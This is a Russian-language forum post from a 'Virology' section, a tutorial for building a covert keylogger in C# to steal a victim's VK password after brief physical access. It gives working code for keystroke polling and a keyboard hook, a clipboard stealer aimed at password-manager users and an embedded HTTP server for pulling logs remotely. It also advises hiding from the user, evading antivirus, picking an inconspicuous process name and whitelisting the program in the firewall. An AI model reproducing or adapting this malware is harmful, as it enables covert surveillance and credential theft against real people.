Загрузка...

How to write a keylogger in C#

Thread in Virology created by Russiaaaq Sep 11, 2019. (bumped Sep 9, 2019) 2480 views

  1. Russiaaaq
    Russiaaaq Topic starter Sep 11, 2019 Banned 321 Oct 10, 2018
    Создание кейлоггера на C#
    Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:
    • мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
    • мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
    • мы сможем забирать ****, находясь в той же локальной сети;
    • антивирус должен молчать;
    • файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
    • мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
    Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.


    Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinApi

    другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.

    Теория создания клавиатурного шпиона на C#
    Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.


    Написание кейлоггера на C#
    Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.


    [IMG]
    Заглушка MAIN

    Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.



    еперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.

    Импортируем GetAsyncKeyState из user32.dll:

    1
    2
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);
    И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:


    while (true)
    {
    Thread.Sleep(100);
    for (int i = 0; i < 255; i++)
    {
    int state = GetAsyncKeyState(i);
    if (state != 0)
    {
    buf += ((Keys)i).ToString();
    if (buf.Length > 10)
    {
    File.AppendAllText("keylogger.log", buf);
    buf = "";
    }
    }
    }
    }


    Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давайте не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:

    // Усовершенствованная проверка введенных символов //
    if (((Keys)i) == Keys.Space) { buf += " "; continue; }
    if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
    if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
    if (((Keys)i).ToString().Length == 1)
    {
    buf += ((Keys)i).ToString();
    }
    else
    {
    buf += $"<{((Keys)i).ToString()}>";
    }
    if (buf.Length > 10)
    { File.AppendAllText("keylogger.log", buf);
    buf = "";


    Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:



    // Еще более усовершенствованная проверка //
    bool shift = false;
    short shiftState = (short)GetAsyncKeyState(16);
    // Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент
    if ((shiftState & 0x8000) == 0x8000)
    {
    shift = true;
    }
    var caps = Console.CapsLock;
    bool isBig = shift | caps;
    Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.

    [IMG]

    Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.


    // Проверка на пробел и Enter //
    if (((Keys)i) == Keys.Space) { buf += " "; continue; }
    if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
    А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.

    if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }
    Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:

    Num Lock;
    функциональные клавиши;
    Print Screen;
    Page Up и Page Down;
    Scroll Lock;
    сочетание Shift + цифровая клавиша;
    Tab;
    Home и End;
    Пуск;
    Alt;
    клавиши со стрелками.
    Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.



    Красивый вариант клавиатурного шпиона
    Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args). Теперь сделаем простую проверку аргументов:


    if (((Keys)i) == Keys.Space) { buf += " "; continue; }
    if (args != null && args.Length > 0)
    {
    if (args[0] == "-i") {}
    // Здесь проверки по аналогии с предыдущей строкой
    }
    else
    {
    // Запущено без параметров
    }
    Дальше довольно много кода, не буду приводить его весь. Там есть флаги Caps Lock, Shift и прочее, а нажатия определяются гигантским Switch. Но показать я хочу не это, а установку хука на клавиатуру.


    [IMG]


    Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс PeekMessangea


    Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам (см. ниже).


    1
    private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)
    А тут мы передаем управление дальше по цепочке хуков:


    1
    return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)



    [IMG]


    истинг callback-функции
    На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обратите внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.[IMG]

    Switch, который разбирает Shift + цифровая клавиша


    [IMG]




    На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.

    [IMG]

    Определяем регистр введенного символа
    Клиппер для вытаскивания данных из буфера обмена

    Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует менеджер паролей и копирует пароли оттуда.

    Создадим новую форму Windows, удалим файлы <ИмяФормы>.Designer.cs и <ИмяФормы>.resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).

    [IMG]


    Класс, импортирующий методы WinAPI

    В конструктор формы вставляем следующий код:


    NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
    NativeMethods.AddClipboardFormatListener(Handle);
    Первый вызов сделает наше окно способным к восприятию системных сообщений, а второй назначит обработчик поступающих сообщений

    Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):


    protected override void WndProc(ref Message m)
    {
    if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
    {
    // Получаем handle активного окна
    IntPtr active_window = NativeMethods.GetForegroundWindow();
    // Получаем заголовок этого окна
    int length = NativeMethods.GetWindowTextLength(active_window);
    StringBuilder sb = new StringBuilder(length + 1);
    NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
    Trace.WriteLine("");
    // Сохраняем содержимое буфера обмена в лог
    Trace.WriteLine("\t[Сtrl-C] Clipboard Copied: " + Clipboard.GetText());
    }
    // Вызываем старый обработчик
    base.WndProc(ref m);
    }
    Для работы этого кода я взял уже готовый класс, который можно просто добавить в проект и не заморачиваться с созданием оберток вокруг WinAPI. Взять его можно на Pastebin


    Запустить клиппер несложно: добавляем ссылку на сборку System.Windows.Forms.dll, добавим using для System.Windows.Forms и System.Threading и добавим в метод запуска логгера следующие строки:\


    Сбор *****
    Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP


    Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и <InternalIP>:34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.
    Firewall Manager, Windows Firewall Helper и YFW.Net.


    Алгоритм действий логгера при запуске я показал на картинке.
    [IMG]

    В конструктор нужно передать путь к папке, в которую пишутся **** (или любой другой, которая может понадобиться). По умолчанию **** пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.

    Чтобы автоматизировать добавление нашей программы в белый список файрвола, вы можете воспользоваться Windows Firewall API. В этом вам помогут библиотеки-обертки


    Thread clipboardT = new Thread(new ThreadStart(
    delegate {
    Application.Run(new ClipboardMonitorForm());
    }));
    clipboardT.Start();
    Просто? Вот именно. Только добавлять этот вызов нужно после назначения обработчика для Trace, иначе весь вывод улетит в неизвестные дали.


    Удачи


    https://t.me/SISDN
     
Loading...
Top